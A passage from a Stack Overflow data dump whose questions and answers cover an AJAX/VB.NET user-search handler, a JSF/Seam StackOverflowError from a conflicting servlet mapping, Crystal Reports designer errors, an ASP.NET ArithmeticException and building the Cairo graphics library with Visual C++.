GetXMLHttpRequestObject() { var XHR; //the object to return var ua = navigator.userAgent.toLowerCase(); //gets the useragent text try { //determine the browser type if (!window.ActiveXObject) { //Non IE Browsers XHR = new XMLHttpRequest(); } else { if (ua.indexOf('msie 5') == -1) { //IE 5.x XHR = new ActiveXObject("Msxml2.XMLHTTP"); } else { //IE 6.x and up XHR = new ActiveXObject("Microsoft.XMLHTTP"); } } //end if (!window.ActiveXObject) if (XHR == null) { throw "Unable to instantiate the XMLHTTPRequest object."; } } catch (e) { alert("This browser does not appear to support AJAX functionality. error: " + e.name + " description: " + e.message); } return XHR; } //end function GetXMLHttpRequestObject() function trim(stringToTrim){ return stringToTrim.replace(/^\s\s*/, '').replace(/\s\s*$/, ''); } ``` And the ashx handler looks like this.... ``` Imports System.Web Imports System.Web.Services Imports System.Data Imports System.Data.SqlClient Public Class DefaultHandler Implements System.Web.IHttpHandler Private Const CONN_STRING As String = "Data Source=;Initial Catalog=;User ID=;Password=;" Sub ProcessRequest(ByVal context As HttpContext) Implements IHttpHandler.ProcessRequest context.Response.ContentType = "text/plain" context.Response.Expires = -1 Dim strPartialUserName As String Dim strReturnValue As String = String.Empty If context.Request.QueryString("partialUserFullName") Is Nothing = False Then strPartialUserName = context.Request.QueryString("partialUserFullName").ToString() If String.IsNullOrEmpty(strPartialUserName) = False Then strReturnValue = SearchAndReturnJSResult(strPartialUserName) End If End If context.Response.Write(strReturnValue) End Sub Private Function SearchAndReturnJSResult(ByVal partialUserName As String) As String Dim strReturnValue As New StringBuilder() Dim conn As SqlConnection Dim strSQL As New StringBuilder() Dim objParam As SqlParameter Dim da As SqlDataAdapter Dim ds As New DataSet() Dim dr As DataRow 'define sql strSQL.Append(" SELECT ") strSQL.Append(" [id] ") strSQL.Append(" ,([first_name] + ' ' + [last_name]) ") strSQL.Append(" ,[email] ") strSQL.Append(" FROM [person] (NOLOCK) ") strSQL.Append(" WHERE [last_name] LIKE @lastName") 'clean up the partial user name for use in a like search If partialUserName.EndsWith("%", StringComparison.InvariantCultureIgnoreCase) = False Then partialUserName = partialUserName & "%" End If If partialUserName.StartsWith("%", StringComparison.InvariantCultureIgnoreCase) = False Then partialUserName = partialUserName.Insert(0, "%") End If 'create the oledb parameter... parameterized queries perform far better on repeatable 'operations objParam = New SqlParameter("@lastName", SqlDbType.VarChar, 100) objParam.Value = partialUserName conn = New SqlConnection(CONN_STRING) da = New SqlDataAdapter(strSQL.ToString(), conn) da.SelectCommand.Parameters.Add(objParam) Try 'to get a dataset. da.Fill(ds) Catch sqlex As SqlException 'Throw an appropriate exception if you can add details that will help understand the problem. Throw New DataException("Unable to retrieve the results from the user search.", sqlex) Finally If conn.State = ConnectionState.Open Then conn.Close() End If conn.Dispose() da.Dispose() End Try 'make sure we have a return value If ds Is Nothing OrElse ds.Tables(0) Is Nothing OrElse ds.Tables(0).Rows.Count <= 0 Then Return String.Empty End If 'This converts the table into JS array. strReturnValue.Append("[") For Each dr In ds.Tables(0).Rows strReturnValue.Append("['" & CStr(dr("username")) & "','" & CStr(dr("userfullname")) & "','" & CStr(dr("useremail")) & "'],") Next strReturnValue.Remove(strReturnValue.Length - 1, 1) strReturnValue.Append("]") 'de-allocate what can be deallocated. Setting to Nothing for smaller types may 'incur performance hit because of a forced allocation to nothing before they are deallocated 'by garbage collection. ds.Dispose() strSQL.Length = 0 Return strReturnValue.ToString() End Function ReadOnly Property IsReusable() As Boolean Implements IHttpHandler.IsReusable Get Return False End Get End Property End Class ```
85,532
<p>Ok, I've run across my first StackOverflowError since joining this site, I figured this is a must post :-). My environment is Seam 2.0.1.GA, JBoss 4.2.2.GA and I'm using JSF. I am in the process of converting from a facelets view to JSP to take advantage of some existing JSP tags used on our existing site. I changed the faces-config.xml and the web.xml configuration files and started to receive the following error when trying to render a jsp page. Anyone have any thoughts?</p> <blockquote> <p>2008-09-17 09:45:17,537 DEBUG [org.jboss.seam.contexts.FacesLifecycle] Begin JSF request for /form_home.jsp 2008-09-17 09:45:17,587 ERROR [org.apache.catalina.core.ContainerBase.[jboss.web].[localhost].[/].[Faces Servlet]] Servlet.service() for servlet Faces Servlet threw exception java.lang.StackOverflowError at org.apache.catalina.core.ApplicationHttpRequest.getAttribute(ApplicationHttpRequest.java:210) at org.apache.catalina.core.ApplicationHttpRequest.getAttribute(ApplicationHttpRequest.java:222) at org.apache.catalina.core.ApplicationHttpRequest.getAttribute(ApplicationHttpRequest.java:222) at org.apache.catalina.core.ApplicationHttpRequest.getAttribute(ApplicationHttpRequest.java:222) ...</p> </blockquote> <p>My faces-config.xml file is now empty with no FaceletsViewHandler:</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;faces-config version="1.2" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xi="http://www.w3.org/2001/XInclude" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-facesconfig_1_2.xsd"&gt; &lt;/faces-config&gt; </code></pre> <p>And my Web.xml file:</p> <pre><code>&lt;?xml version="1.0"?&gt; &lt;web-app version="2.5" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"&gt; &lt;!-- Ajax4jsf --&gt; &lt;context-param&gt; &lt;param-name&gt;org.richfaces.SKIN&lt;/param-name&gt; &lt;param-value&gt;blueSky&lt;/param-value&gt; &lt;/context-param&gt; &lt;!-- Seam --&gt; &lt;listener&gt; &lt;listener-class&gt;org.jboss.seam.servlet.SeamListener&lt;/listener-class&gt; &lt;/listener&gt; &lt;filter&gt; &lt;filter-name&gt;Seam Filter&lt;/filter-name&gt; &lt;filter-class&gt;org.jboss.seam.servlet.SeamFilter&lt;/filter-class&gt; &lt;/filter&gt; &lt;filter-mapping&gt; &lt;filter-name&gt;Seam Filter&lt;/filter-name&gt; &lt;url-pattern&gt;*.jsp&lt;/url-pattern&gt; &lt;/filter-mapping&gt; &lt;servlet&gt; &lt;servlet-name&gt;Seam Resource Servlet&lt;/servlet-name&gt; &lt;servlet-class&gt;org.jboss.seam.servlet.SeamResourceServlet &lt;/servlet-class&gt; &lt;/servlet&gt; &lt;servlet-mapping&gt; &lt;servlet-name&gt;Seam Resource Servlet&lt;/servlet-name&gt; &lt;url-pattern&gt;/seam/resource/*&lt;/url-pattern&gt; &lt;/servlet-mapping&gt; &lt;!-- Seam end --&gt; &lt;!-- JSF --&gt; &lt;context-param&gt; &lt;param-name&gt;javax.faces.DEFAULT_SUFFIX&lt;/param-name&gt; &lt;param-value&gt;.jsp&lt;/param-value&gt; &lt;/context-param&gt; &lt;servlet&gt; &lt;servlet-name&gt;Faces Servlet&lt;/servlet-name&gt; &lt;servlet-class&gt;javax.faces.webapp.FacesServlet&lt;/servlet-class&gt; &lt;load-on-startup&gt;1&lt;/load-on-startup&gt; &lt;/servlet&gt; &lt;servlet-mapping&gt; &lt;servlet-name&gt;Faces Servlet&lt;/servlet-name&gt; &lt;url-pattern&gt;*.jsp&lt;/url-pattern&gt; &lt;/servlet-mapping&gt; </code></pre>
[ { "answer_id": 90220, "author": "Peter", "author_id": 17123, "author_profile": "https://Stackoverflow.com/users/17123", "pm_score": 2, "selected": false, "text": "<p>Stack overflows in java are almost always caused by infinite recursion / method calls. In your case given the stack trace, it appears 'getAttribute()' is being called repeatedly until crash. While I'm not intimately familiar with the particular environments you are using, I would suggest checking your .jsp code for any of this type of behaviour (for example two methods that call each other)</p>\n" }, { "answer_id": 122177, "author": "Joe Dean", "author_id": 5917, "author_profile": "https://Stackoverflow.com/users/5917", "pm_score": 4, "selected": true, "text": "<p>I was able to figure out this problem. Apparently you can not configure web.xml to have the same param-value of .jsp for Javax.faces.DEFAULT_SUFFIX as the Faces Servlet url-pattern (*.jsp). If you change your url-pattern to <em>.jspx or to /whateverdirnameyouwant/</em> the application starts up with no stack overflow errors. (note: the key is that DEFAULT_SUFFIX and Faces Servlet url-pattern cannot be the same regardless of what they are.) Hope this helps anyone else that experiences this specific problem.</p>\n" }, { "answer_id": 46894261, "author": "Steve T", "author_id": 3465795, "author_profile": "https://Stackoverflow.com/users/3465795", "pm_score": 0, "selected": false, "text": "<p>So, I had a similar error. For me, it was that I had a JSF project and I was messing around with the file extensions. To start with, I had all my web files with extension .jsp. This was working, but then I wanted them to be all .jsf, then after that I went all in on using .xhtml. In the process, my web.xml file changed to accomodate xhtml and jsf. Changing the web.xml file was fine. What got me the StackOverflowError was that I had index.xhtml with a ui.include tag pointing to header.jsf. So I had a xhtml file pointing to a jsf file. I had thought that web.xml would be able to handle this, but it did not, I got the StackOverflowError. So, to fix this, now all my JSF files have extension .xhtml, and nested ui:include tags point to .xhtml files.</p>\n\n<p>On the flip side, though, the browser url can handle the index.jsp, index.jsf, index.xhtml just fine. So the web.xml (with servlet mappings for jsp, jsf and xhtml) handles the browser url just fine, but not for what my problem above highlighted.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/85532", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5917/" ]
Ok, I've run across my first StackOverflowError since joining this site, I figured this is a must post :-). My environment is Seam 2.0.1.GA, JBoss 4.2.2.GA and I'm using JSF. I am in the process of converting from a facelets view to JSP to take advantage of some existing JSP tags used on our existing site. I changed the faces-config.xml and the web.xml configuration files and started to receive the following error when trying to render a jsp page. Anyone have any thoughts? > > 2008-09-17 09:45:17,537 DEBUG > [org.jboss.seam.contexts.FacesLifecycle] > Begin JSF request for /form\_home.jsp > 2008-09-17 09:45:17,587 ERROR > [org.apache.catalina.core.ContainerBase.[jboss.web].[localhost].[/].[Faces > Servlet]] Servlet.service() for > servlet Faces Servlet threw exception > java.lang.StackOverflowError > at org.apache.catalina.core.ApplicationHttpRequest.getAttribute(ApplicationHttpRequest.java:210) > at org.apache.catalina.core.ApplicationHttpRequest.getAttribute(ApplicationHttpRequest.java:222) > at org.apache.catalina.core.ApplicationHttpRequest.getAttribute(ApplicationHttpRequest.java:222) > at org.apache.catalina.core.ApplicationHttpRequest.getAttribute(ApplicationHttpRequest.java:222) > ... > > > My faces-config.xml file is now empty with no FaceletsViewHandler: ``` <?xml version="1.0" encoding="UTF-8"?> <faces-config version="1.2" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xi="http://www.w3.org/2001/XInclude" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-facesconfig_1_2.xsd"> </faces-config> ``` And my Web.xml file: ``` <?xml version="1.0"?> <web-app version="2.5" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"> <!-- Ajax4jsf --> <context-param> <param-name>org.richfaces.SKIN</param-name> <param-value>blueSky</param-value> </context-param> <!-- Seam --> <listener> <listener-class>org.jboss.seam.servlet.SeamListener</listener-class> </listener> <filter> <filter-name>Seam Filter</filter-name> <filter-class>org.jboss.seam.servlet.SeamFilter</filter-class> </filter> <filter-mapping> <filter-name>Seam Filter</filter-name> <url-pattern>*.jsp</url-pattern> </filter-mapping> <servlet> <servlet-name>Seam Resource Servlet</servlet-name> <servlet-class>org.jboss.seam.servlet.SeamResourceServlet </servlet-class> </servlet> <servlet-mapping> <servlet-name>Seam Resource Servlet</servlet-name> <url-pattern>/seam/resource/*</url-pattern> </servlet-mapping> <!-- Seam end --> <!-- JSF --> <context-param> <param-name>javax.faces.DEFAULT_SUFFIX</param-name> <param-value>.jsp</param-value> </context-param> <servlet> <servlet-name>Faces Servlet</servlet-name> <servlet-class>javax.faces.webapp.FacesServlet</servlet-class> <load-on-startup>1</load-on-startup> </servlet> <servlet-mapping> <servlet-name>Faces Servlet</servlet-name> <url-pattern>*.jsp</url-pattern> </servlet-mapping> ```
I was able to figure out this problem. Apparently you can not configure web.xml to have the same param-value of .jsp for Javax.faces.DEFAULT\_SUFFIX as the Faces Servlet url-pattern (\*.jsp). If you change your url-pattern to *.jspx or to /whateverdirnameyouwant/* the application starts up with no stack overflow errors. (note: the key is that DEFAULT\_SUFFIX and Faces Servlet url-pattern cannot be the same regardless of what they are.) Hope this helps anyone else that experiences this specific problem.
85,559
<p>I have a problem in my project with the .designer which as everyone know is autogenerated and I ahvent changed at all. One day I was working fine, I did a back up and next day boom! the project suddenly stops working and sends a message that the designer cant procees a code line... and due to this I get more errores (2 in my case), I even had a back up from the day it was working and is useless too, I get the same error, I tryed in my laptop and the same problem comes. How can I delete the &quot;FitTrack&quot;? The incredible part is that while I was trying on the laptop the errors on the desktop were gone in front of my eyes, one and one second later the other one (but still have the warning from the designer and cant see the form), I closed and open it again and again I have the errors...</p> <p>The error is:</p> <pre><code>Warning 1 The designer cannot process the code at line 27: Me.CrystalReportViewer1.ReportSource = Me.CrystalReport11 The code within the method 'InitializeComponent' is generated by the designer and should not be manually modified. Please remove any changes and try opening the designer again. C:\Documents and Settings\Alan Cardero\Desktop\Reportes Liquidacion\Reportes Liquidacion\Reportes Liquidacion\Form1.Designer.vb 28 0 </code></pre>
[ { "answer_id": 85602, "author": "Quintin Robinson", "author_id": 12707, "author_profile": "https://Stackoverflow.com/users/12707", "pm_score": 1, "selected": false, "text": "<p>I would take out the static assignment in the designer to the resource CrystalReport11 and then add a load handler to your form and before setting the ReportSource back to CrystalReport11 do a check </p>\n\n<pre><code>If(Not DesignMode) Then Me.CrystalReportViewer1.ReportSource = Me.CrystalReport11\n</code></pre>\n\n<p>Here is a mockup..</p>\n\n<pre><code>Public Sub New()\n InitializeComponent()\n\n AddHandler Me.Load, New EventHandler(AddressOf Form1_Load)\nEnd Sub\n\nPrivate Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)\n If (Not DesignMode) Then Me.CrystalReportViewer1.ReportSource = Me.CrystalReport11\nEnd Sub\n</code></pre>\n" }, { "answer_id": 85612, "author": "Kearns", "author_id": 6500, "author_profile": "https://Stackoverflow.com/users/6500", "pm_score": 2, "selected": true, "text": "<p>I would back up the designer.cs file associated with it (like copy it to the desktop), then edit the designer.cs file and remove the offending lines (keeping track of what they do) and then I'd try to redo those lines via the design mode of that form.</p>\n" }, { "answer_id": 85746, "author": "Mitchel Sellers", "author_id": 13279, "author_profile": "https://Stackoverflow.com/users/13279", "pm_score": 1, "selected": false, "text": "<p>You should be able to take a backup, clear the lines that are having problems then when you re-open it the designer will fix the code. </p>\n\n<p>The key is that you want to let the designer re-generate, then just validate that all needed lines are there.</p>\n\n<p>That usually works for me, but you just have to be sure to remove all lines that it doesn't like.</p>\n" }, { "answer_id": 17667333, "author": "Qaalid", "author_id": 2585646, "author_profile": "https://Stackoverflow.com/users/2585646", "pm_score": 0, "selected": false, "text": "<p>I do an easy way; Right Click on the report then choose Run Custom Tool.</p>\n\n<p>Automatically it fixes all problems and working for me, i solve 52 crystal ReportViewer errors.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/85559", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
I have a problem in my project with the .designer which as everyone know is autogenerated and I ahvent changed at all. One day I was working fine, I did a back up and next day boom! the project suddenly stops working and sends a message that the designer cant procees a code line... and due to this I get more errores (2 in my case), I even had a back up from the day it was working and is useless too, I get the same error, I tryed in my laptop and the same problem comes. How can I delete the "FitTrack"? The incredible part is that while I was trying on the laptop the errors on the desktop were gone in front of my eyes, one and one second later the other one (but still have the warning from the designer and cant see the form), I closed and open it again and again I have the errors... The error is: ``` Warning 1 The designer cannot process the code at line 27: Me.CrystalReportViewer1.ReportSource = Me.CrystalReport11 The code within the method 'InitializeComponent' is generated by the designer and should not be manually modified. Please remove any changes and try opening the designer again. C:\Documents and Settings\Alan Cardero\Desktop\Reportes Liquidacion\Reportes Liquidacion\Reportes Liquidacion\Form1.Designer.vb 28 0 ```
I would back up the designer.cs file associated with it (like copy it to the desktop), then edit the designer.cs file and remove the offending lines (keeping track of what they do) and then I'd try to redo those lines via the design mode of that form.
85,588
<p>I have a line of C# in my ASP.NET code behind that looks like this:</p> <pre><code>DropDownList ddlStates = (DropDownList)fvAccountSummary.FindControl("ddlStates"); </code></pre> <p>The DropDownList control is explicitly declared in the markup on the page, not dynamically created. It is inside of a FormView control. When my code hits this line, I am getting an ArithmeticException with the message "Value was either too large or too small for an Int32." This code has worked previously, and is in production right now. I fired up VS2008 to make some changes to the site, but before I changed anything, I got this exception from the page. Anyone seen this one before?</p>
[ { "answer_id": 85727, "author": "Adam Weber", "author_id": 9324, "author_profile": "https://Stackoverflow.com/users/9324", "pm_score": 0, "selected": false, "text": "<p>Are you 100% sure that's the line of code that's throwing the exception? I'm pretty certain that the FindControl method is not capable of throwing an ArithmeticException. Of course, I've been known to be wrong before... :)</p>\n" }, { "answer_id": 86100, "author": "Isak Savo", "author_id": 8521, "author_profile": "https://Stackoverflow.com/users/8521", "pm_score": 0, "selected": false, "text": "<p>I have seen ArithmeticException being thrown in weird places before in C#/.NET and it was when I was working with p/invoke to an unmanaged .dll talking to an USB device.</p>\n\n<p>The crash was consistent, and always at the same place. Of course, the place was totally unrelated to the crash (i think it was a basic value assignment, like int i = 4 or something similarly silly) </p>\n\n<p>I'd like to have a happy ending to tell you, but I never managed to fully track down the problem. I strongly believe that the cause was in the unmanaged code, and that it somehow corrupted the memory or maybe even free'd managed memory. (Removing the calls to unmanaged code made the problem go away)</p>\n\n<p>The message I'm sending is: are you doing any calls to unmanaged code? If so, my suggestion is you focus your debugging skills there :)</p>\n" }, { "answer_id": 87024, "author": "Jimmy", "author_id": 4435, "author_profile": "https://Stackoverflow.com/users/4435", "pm_score": 3, "selected": true, "text": "<p>If that's the stacktrace, its comingn from databinding, not from the line you posted. Is it possible that you have some really large data set? I've seen a 6000-page GridView overflow an Int16, although it seems pretty unlikely you'd actually overflow an Int32...</p>\n\n<p>Check to make sure you're passing in sane data into, say, the startpageIndex or pageSize of your datasource, for example.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/85588", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1284/" ]
I have a line of C# in my ASP.NET code behind that looks like this: ``` DropDownList ddlStates = (DropDownList)fvAccountSummary.FindControl("ddlStates"); ``` The DropDownList control is explicitly declared in the markup on the page, not dynamically created. It is inside of a FormView control. When my code hits this line, I am getting an ArithmeticException with the message "Value was either too large or too small for an Int32." This code has worked previously, and is in production right now. I fired up VS2008 to make some changes to the site, but before I changed anything, I got this exception from the page. Anyone seen this one before?
If that's the stacktrace, its comingn from databinding, not from the line you posted. Is it possible that you have some really large data set? I've seen a 6000-page GridView overflow an Int16, although it seems pretty unlikely you'd actually overflow an Int32... Check to make sure you're passing in sane data into, say, the startpageIndex or pageSize of your datasource, for example.
85,622
<p>Most precompiled Windows binaries are made with the MSYS+gcc toolchain. It uses MSVCRT runtime, which is incompatible with Visual C++ 2005/2008.</p> <p>So, how to go about and compile Cairo 1.6.4 (or later) for Visual C++ only. Including dependencies (png,zlib,pixman).</p>
[ { "answer_id": 91312, "author": "Roel", "author_id": 11449, "author_profile": "https://Stackoverflow.com/users/11449", "pm_score": 1, "selected": false, "text": "<p>Did you check here: <a href=\"http://cairographics.org/visualstudio/\" rel=\"nofollow noreferrer\">http://cairographics.org/visualstudio/</a> ? What do you mean 'It uses MSCVRT runtime, which is incompatible with Visual C++ 2005/2008' ? What are the exact problems you're having?</p>\n" }, { "answer_id": 96149, "author": "akauppi", "author_id": 14455, "author_profile": "https://Stackoverflow.com/users/14455", "pm_score": 0, "selected": false, "text": "<p>MSYS+gcc toolchain uses the old MSVCRT runtime library (now built into Windows) and Visual C++ 2005/2008 bring their own. It is a <a href=\"http://lua-users.org/lists/lua-l/2008-09/msg00077.html\" rel=\"nofollow noreferrer\">known fact</a> that code should not depend on multiple runtimes. Passing things s.a. file handles, memory pointers etc. will be affected, and will cause apparently random crashes in such scenario.</p>\n\n<p>I have not been bitted by this. Then again, I don't really target Windows any more, either. But I've been told enough to not even try the solution.</p>\n\n<p>What could have worked, is linking all the dependencies statically into the lib (say, Cairomm). Static libs don't have a runtime bound to them, do they? But I did not try this. I actually got the VC++ building of all ingredients to work, but it took days.</p>\n\n<p>I hadn't found the URL you give. Strange in itself; I looked 'everywhere'. Then again, it is for Visual Studio 2003.NET, so two generations behind already.</p>\n" }, { "answer_id": 96168, "author": "jfs", "author_id": 6223, "author_profile": "https://Stackoverflow.com/users/6223", "pm_score": 0, "selected": false, "text": "<p>I have done this, but I don't have any ready-written instructions. My builds are also rather minimal as I haven't needed support for eg. PNG and SVG files, I just used it to render generated vector graphics to memory buffers.</p>\n\n<p>But what I did was read through the <code>config.h</code> and other files for the UNIX/GNU build system and write my own suited for MSVC, and then create a project with the appropriate source files. It probably takes a few hours at best to do this, but when you're done it just works ;)</p>\n\n<p>Edit: Do see this page, it has an MSVC 2003 (7.1) project for building cairo: <a href=\"http://slinavlee.googlepages.com/\" rel=\"nofollow noreferrer\">http://slinavlee.googlepages.com/</a></p>\n" }, { "answer_id": 100607, "author": "akauppi", "author_id": 14455, "author_profile": "https://Stackoverflow.com/users/14455", "pm_score": 5, "selected": true, "text": "<p>Here are instructions for building Cairo/Cairomm with Visual C++.</p>\n\n<p>Required:</p>\n\n<ul>\n<li>Visual C++ 2008 Express SP1 (now includes SDK)</li>\n<li>MSYS 1.0</li>\n</ul>\n\n<p>To use VC++ command line tools, a batch file 'vcvars32.bat' needs to be run.</p>\n\n<pre>\n C:\\Program Files\\Microsoft Visual Studio 9.0\\Common7\\Tools\\vcvars32.bat\n</pre>\n\n<h2>ZLib</h2>\n\n<p>Download (and extract) zlib123.zip from <a href=\"http://www.zlib.net/\" rel=\"noreferrer\">http://www.zlib.net/</a></p>\n\n<pre>\n cd zlib123\n nmake /f win32/Makefile.msc\n\n dir\n # zlib.lib is the static library\n #\n # zdll.lib is the import library for zlib1.dll\n # zlib1.dll is the shared library\n</pre>\n\n<h2>libpng</h2>\n\n<p>Download (and extract) lpng1231.zip from <a href=\"http://www.libpng.org/pub/png/libpng.html\" rel=\"noreferrer\">http://www.libpng.org/pub/png/libpng.html</a></p>\n\n<p>The VC++ 9.0 compiler gives loads of \"this might be unsafe\" warnings. Ignore them;\nthis is MS security panic (the code is good).</p>\n\n<pre>\n cd lpng1231\\lpng1231 # for some reason this is two stories deep\n\n nmake /f ../../lpng1231.nmake ZLIB_PATH=../zlib123\n\n dir\n # libpng.lib is the static library\n #\n # dll is not being created\n</pre>\n\n<h2>Pixman</h2>\n\n<p>Pixman is part of Cairo, but a separate download.</p>\n\n<p>Download (and extract) pixman-0.12.0.tar.gz from <a href=\"http://www.cairographics.org/releases/\" rel=\"noreferrer\">http://www.cairographics.org/releases/</a></p>\n\n<p>Use MSYS to untar via 'tar -xvzf pixman*.tar.gz'</p>\n\n<p>Both Pixman and Cairo have Makefiles for Visual C++ command line compiler (cl),\nbut they use Gnu makefile and Unix-like tools (sed etc.). This means we have \nto run the make from within MSYS.</p>\n\n<p>Open a command prompt with VC++ command line tools enabled (try 'cl /?').\nTurn that command prompt into an MSYS prompt by 'C:\\MSYS\\1.0\\MSYS.BAT'.</p>\n\n<p>DO NOT use the MSYS icon, because then your prompt will now know of VC++.\nYou cannot run .bat files from MSYS.</p>\n\n<p>Try that VC++ tools work from here: 'cl -?'</p>\n\n<p>Try that Gnu make also works: 'make -v'.</p>\n\n<p>Cool.</p>\n\n<pre>\n cd (use /d/... instead of D:)\n cd pixman-0.12.0/pixman\n make -f Makefile.win32\n</pre>\n\n<p>This defaults to MMX and SSE2 optimizations, which require a newish\nx86 processor (Pentium 4 or Pentium M or above: <a href=\"http://fi.wikipedia.org/wiki/SSE2\" rel=\"noreferrer\">http://fi.wikipedia.org/wiki/SSE2</a> )</p>\n\n<p>There's quite some warnings but it seems to succeed.</p>\n\n<pre>\n ls release\n # pixman-1.lib (static lib required by Cairo)\n</pre>\n\n<p>Stay in the VC++ spiced MSYS prompt for also Cairo to compile.</p>\n\n<h2>cairo</h2>\n\n<p>Download (and extract) cairo-1.6.4.tar.gz from <a href=\"http://www.cairographics.org/releases/\" rel=\"noreferrer\">http://www.cairographics.org/releases/</a></p>\n\n<pre>\n cd \n cd cairo-1.6.4\n</pre>\n\n<p>The Makefile.win32 here is almost good, but has the Pixman path hardwired.</p>\n\n<p>Use the modified 'Makefile-cairo.win32':</p>\n\n<pre>\n make -f ../Makefile-cairo.win32 CFG=release \\\n PIXMAN_PATH=../../pixman-0.12.0 \\\n LIBPNG_PATH=../../lpng1231 \\\n ZLIB_PATH=../../zlib123\n</pre>\n\n<p>(Write everything on one line, ignoring the backslashes)</p>\n\n<p>It says \"no rule to make 'src/cairo-features.h'. Use the manually prepared one\n(in Cairo > 1.6.4 there may be a 'src/cairo-features-win32.h' that you can\nsimply rename):</p>\n\n<pre>\n cp ../cairo-features.h src/\n</pre>\n\n<p>Retry the make command (arrow up remembers it).</p>\n\n<pre>\n ls src/release\n #\n # cairo-static.lib\n</pre>\n\n<h2>cairomm (C++ API)</h2>\n\n<p>Download (and extract) cairomm-1.6.4.tar.gz from <a href=\"http://www.cairographics.org/releases/\" rel=\"noreferrer\">http://www.cairographics.org/releases/</a></p>\n\n<p>There is a Visual C++ 2005 Project that we can use (via open &amp; upgrade) for 2008.</p>\n\n<pre>\n cairomm-1.6.4\\MSCV_Net2005\\cairomm\\cairomm.vcproj\n</pre>\n\n<p>Changes that need to be done:</p>\n\n<ul>\n<li><p>Change active configuration to \"Release\"</p></li>\n<li><p>Cairomm-1.0 properties (with right click menu)</p></li>\n</ul>\n\n<pre>\n C++/General/Additional Include Directories: \n ..\\..\\..\\cairo-1.6.4\\src (append to existing)\n\n Linker/General/Additional library directories:\n ..\\..\\..\\cairo-1.6.4\\src\\release\n ..\\..\\..\\lpng1231\\lpng1231\n ..\\..\\..\\zlib123\n\n Linker/Input/Additional dependencies: \n cairo-static.lib libpng.lib zlib.lib msimg32.lib\n</pre>\n\n<ul>\n<li>Optimization: fast FPU code</li>\n</ul>\n\n<pre>\n C++/Code generation/Floating point model\n Fast\n</pre>\n\n<p>Right click on 'cairomm-1.0' and 'build'. There are some warnings.</p>\n\n<pre>\n dir cairomm-1.6.4\\MSVC_Net2005\\cairomm\\Release\n #\n # cairomm-1.0.lib\n # cairomm-1.0.dll\n # cairomm.def\n</pre>\n" }, { "answer_id": 2413094, "author": "Stuart Axon", "author_id": 62709, "author_profile": "https://Stackoverflow.com/users/62709", "pm_score": 2, "selected": false, "text": "<p>The instructions don't seem to work with current version of imlib, I wonder if it's worth reasking this question ?</p>\n" }, { "answer_id": 6704146, "author": "Sergeq", "author_id": 846031, "author_profile": "https://Stackoverflow.com/users/846031", "pm_score": 1, "selected": false, "text": "<p>I ran into two problems when building on Windows (Visual Studio 2008, GNU Make 3.81):</p>\n\n<ol>\n<li><p>Invalid \"if\" constructs in src/Makefile.sources. Fixed that using </p>\n\n<pre><code>sed \"s/^if \\([A-Z_]*\\)$/ifeq ($(\\1), 1)/\" src\\Makefile.sources\n</code></pre></li>\n<li><p><code>_lround</code> is not available on Windows/MSVC.\nWorked around that using </p>\n\n<pre><code>sed \"s/#define _cairo_lround lround/static inline long cairo_const\n_cairo_lround(double r) { return (long)floor(r + .5); }/\"` \n</code></pre>\n\n<p>(which is probably a poor fix)</p></li>\n</ol>\n\n<p>These issues aside, everything works great (for both x86 and x86_64 architectures).</p>\n" }, { "answer_id": 33718258, "author": "jingyu9575", "author_id": 1997315, "author_profile": "https://Stackoverflow.com/users/1997315", "pm_score": 2, "selected": false, "text": "<p>These steps can build the latest cairo on 2015-11-15 for Visual Studio 2015 community. The debug build is DLL, linking to the DLL version of CRT. The release build is static library, linking to the static link version of CRT and requiring no DLLs.</p>\n\n<h1>Install GnuWin</h1>\n\n<p>The build scripts require GNU command line tools. The following steps are tested with <a href=\"https://chocolatey.org/packages/GnuWin\" rel=\"nofollow\">GnuWin from Chocolatey</a>. MSYS might also work.</p>\n\n<h1>Download</h1>\n\n<p><a href=\"http://www.zlib.net/\" rel=\"nofollow\">zlib128.zip</a>, <a href=\"http://www.libpng.org/pub/png/libpng.html\" rel=\"nofollow\">lpng1619.zip</a>, <a href=\"http://www.cairographics.org/releases/\" rel=\"nofollow\">cairo-1.14.4.tar.xz</a>, <a href=\"http://www.cairographics.org/releases/\" rel=\"nofollow\">pixman-0.32.8.tar.gz</a></p>\n\n<h1>Extract</h1>\n\n<p>Extract these archives and rename the directories:</p>\n\n<pre><code>. (my_cairo_build_root)\n├─cairo\n├─libpng\n├─pixman\n└─zlib\n</code></pre>\n\n<h1>zlib</h1>\n\n<p>Do not build. The build script uses MSVCRT that clashes with Visual Studio 2015. Use the generated lib from libpng build.</p>\n\n<h1>libpng</h1>\n\n<p>Edit <code>libpng\\projects\\vstudio\\zlib.props</code>:</p>\n\n<ul>\n<li>in <code>&lt;ZLibSrcDir&gt;</code> remove the version number: <code>..\\..\\..\\..\\zlib</code></li>\n<li>in <code>&lt;WindowsSDKDesktopARMSupport&gt;</code> change <code>true</code> to <code>false</code></li>\n</ul>\n\n<p>Open <code>libpng\\projects\\vstudio\\vstudio.sln</code> in Visual Studio and confirm the upgrade. Use the default <code>Debug</code> configuration, and right click project <code>libpng</code> to build. Switch to <code>Release Library</code> configuration and right click project <code>libpng</code> to build.</p>\n\n<h1>pixman</h1>\n\n<p>Edit <code>pixman\\Makefile.win32.common</code>:</p>\n\n<ul>\n<li>Replace <code>CFG_CFLAGS = -MD 